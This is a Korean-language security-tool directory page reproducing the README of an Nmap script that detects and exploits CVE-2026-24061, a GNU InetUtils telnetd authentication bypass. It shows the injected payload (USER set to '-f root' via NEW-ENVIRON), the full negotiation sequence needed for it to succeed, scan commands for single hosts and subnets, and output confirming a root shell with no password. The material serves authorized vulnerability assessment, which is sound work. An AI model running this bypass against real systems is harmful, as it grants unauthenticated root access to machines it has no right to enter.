Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24061-NSE — 스크립트는 실제 telnet -a 클라이언트 세션의 정확한 바이트 시퀀스를 미러링하여 전체 Telnet 협상을 수행합니다. | Kitploit
도구/GitHubGitHub/hd0x01/cve-2026-24061-nse
Vulnerability ScannersExploitationNetwork SecurityPenetration TestingAuthentication
GitHubhd0x01/cve-2026-24061-nse

CVE-2026-24061-NSE

스크립트는 실제 telnet -a 클라이언트 세션의 정확한 바이트 시퀀스를 미러링하여 전체 Telnet 협상을 수행합니다.

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-24061 — GNU InetUtils telnetd 인증 우회

Nmap NSE 탐지 스크립트

Nmap NSE CVE CVSSv3 License


개요

이 Nmap NSE 스크립트는 GNU InetUtils telnetd 버전 1.9.3 ~ 2.7의 인증 우회 취약점인 CVE-2026-24061을 탐지합니다.

Telnet 옵션 협상 중에 -f <username> 형태의 조작된 USER 환경 변수를 전송함으로써, 인증되지 않은 공격자는 비밀번호를 제공하지 않고도 지정된 로컬 사용자(— 포함)의 권한으로 셸을 획득할 수 있습니다.

root

사용 목적: 공인된 침투 테스트 및 취약점 평가 전용입니다.
명시적인 서면 허가 없이 시스템에 대해 이 스크립트를 실행하는 것은 불법입니다.


취약점 세부 정보

필드값
CVE IDCVE-2026-24061
영향 범위GNU InetUtils telnetd 1.9.3 – 2.7
CVSSv3 점수9.8 Critical
벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
유형인증 우회 (CWE-287)
공개일2026-01-01

작동 원리

GNU InetUtils telnetd는 Telnet NEW-ENVIRON 옵션(RFC 1572)을 사용하여 협상 단계에서 클라이언트로부터 환경 변수를 수신합니다. 그런 다음 login(1) 프로그램이 해당 변수로 호출됩니다.

취약점은 telnetd가 USER 변수를 검증 없이 login에 직접 전달하기 때문에 발생합니다. Linux의 login 프로그램은 *"사전 인증됨, 비밀번호 확인 안 함"*을 의미하는 -f <user> 플래그를 허용합니다. NEW-ENVIRON 페이로드를 통해 USER="-f root"를 주입함으로써 공격자는 인증을 완전히 우회합니다.

root@kitploit:~
Client → Server:  IAC SB NEW-ENVIRON IS  VAR "USER"  VALUE "-f root"  IAC SE
Server response:  spawns login -f root  →  root shell, no password required

스크립트 세부 정보

필드값
파일명telnet-vuln-cve-2026-24061.nse
카테고리vuln, exploit, intrusive
포트TCP/23 (telnet)
테스트 환경Nmap 7.94 / 7.98, Windows & Linux

탐지 방법

이 스크립트는 실제 telnet -a 클라이언트 세션(Wireshark 캡처에서 재구성)의 정확한 바이트 시퀀스를 미러링하는 전체 Telnet 협상을 수행합니다:

  1. 서버의 시작 IAC 버스트(DO TTYPE, DO TSPEED, DO ENVIRON, …) 수신
  2. 전체 클라이언트 기능 알림(WILL TTYPE, WILL LINEMODE, …)으로 응답
  3. 하위 협상 라운드 완료(SB TSPEED, SB ENVIRON, SB TTYPE)
  4. NEW-ENVIRON IS 페이로드에 조작된 USER='-f <user>' 주입
  5. WILL ECHO / DO BINARY / WONT LINEMODE 시퀀스 완료
    (중요 — 이 단계가 없으면 telnetd가 PTY 설정을 완료할 수 없음)
  6. 서버가 비밀번호 요구 없이 로그인 셸 프롬프트를 보내는지 확인

결과 상태:

상태의미
EXPLOIT셸 프롬프트 수신 — 우회 확인됨
LIKELY_VULNENV 페이로드 수락됨, 비밀번호 프롬프트 없음, 그러나 셸 프롬프트 없음
NOT_VULN비밀번호 프롬프트가 보이거나, 협상이 완료되지 않음

설치

Linux

root@kitploit:~
# Nmap 스크립트 디렉토리로 복사
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/

# 스크립트 데이터베이스 업데이트
sudo nmap --script-updatedb

Windows

root@kitploit:~
# Nmap 스크립트 디렉토리로 복사 (필요시 경로 조정)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"

# 스크립트 데이터베이스 업데이트 (관리자 권한으로 실행)
nmap --script-updatedb

사용법

기본 스캔 (기본 사용자: root)

root@kitploit:~
nmap -p 23 --script telnet-vuln-cve-2026-24061 <target>

다른 사용자 지정

root@kitploit:~
# 짧은 형식
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <target>

# 중간 형식
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <target>

# 완전한 형식
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
    --script-args telnet-vuln-cve-2026-24061.user=kali <target>

IP 범위 스캔

root@kitploit:~
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24

상세 / 디버그 출력

root@kitploit:~
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v  <target>   # 상세
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d  <target>   # 디버그
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <target>   # 전체 hex 추적

샘플 출력

취약한 호스트

root@kitploit:~
PORT   STATE SERVICE
23/tcp open  telnet
| telnet-vuln-cve-2026-24061:
|   VULNERABLE:
|   GNU InetUtils telnetd Authentication Bypass
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2026-24061
|     Risk factor: Critical  CVSSv3: 9.8
|     Description:
|       The telnetd service in GNU InetUtils (1.9.3 - 2.7) allows
|       authentication bypass via a crafted USER environment variable.
|       Sending '-f <user>' results in an unauthenticated login shell.
|     Extra information:
|       Authentication bypassed: shell prompt received after injecting
|       USER='-f root' -- no password challenge was presented.
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2026-24061
|       https://github.com/JayGLXR/CVE-2026-24061-POC
|_      https://github.com/SafeBreach-Labs/CVE-2026-24061

취약하지 않은 호스트

root@kitploit:~
PORT   STATE SERVICE
23/tcp open  telnet

(스크립트 출력 없음 — NOT_VULN은 표준 Nmap 규칙에 따라 기본적으로 무음 처리됨)


스크립트 인자

인자별칭(들)기본값설명
telnet-vuln-cve-2026-24061.usertelnet-user, userroot-f를 통해 주입할 사용자 이름

기술 참고 사항

WONT LINEMODE가 중요한 이유

GNU InetUtils telnetd는 터미널 I/O 모드를 결정하기 위해 Linemode 협상(RFC 1184)을 사용합니다. 서버는 협상 초기에 DO LINEMODE를 보내고, 클라이언트는 처음에 WILL LINEMODE로 응답합니다. ENV 페이로드 교환 후, 서버는 WILL ECHO 다음에 DO BINARY를 보냅니다. 이 시점에서 클라이언트는 반드시 WONT LINEMODE로 응답하여 문자 단위 모드를 알려야 합니다 — 그래야만 telnetd가 PTY 설정(ioctl TIOCSWINSZ)을 완료하고 login을 포크할 수 있습니다. 이 단계가 없으면 서버는 peer died: Inappropriate ioctl for device를 기록하고 연결을 끊습니다.

NSE 소켓 API

Nmap의 NSE 소켓 API는 표준 Lua 소켓 규칙과 다릅니다:

root@kitploit:~
-- Nmap NSE (올바른 방법):
local status, data = sock:receive_bytes(1)
if status == true then -- data is the received string

참고 자료

  • NVD — CVE-2026-24061
  • JayGLXR의 PoC
  • SafeBreach-Labs의 PoC
  • RFC 1572 — NEW-ENVIRON
  • RFC 1184 — Linemode
  • Nmap NSE 문서

면책 조항

이 스크립트는 공인된 보안 테스트 및 연구 목적으로만 제공됩니다. 저자는 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.

도구 다운로드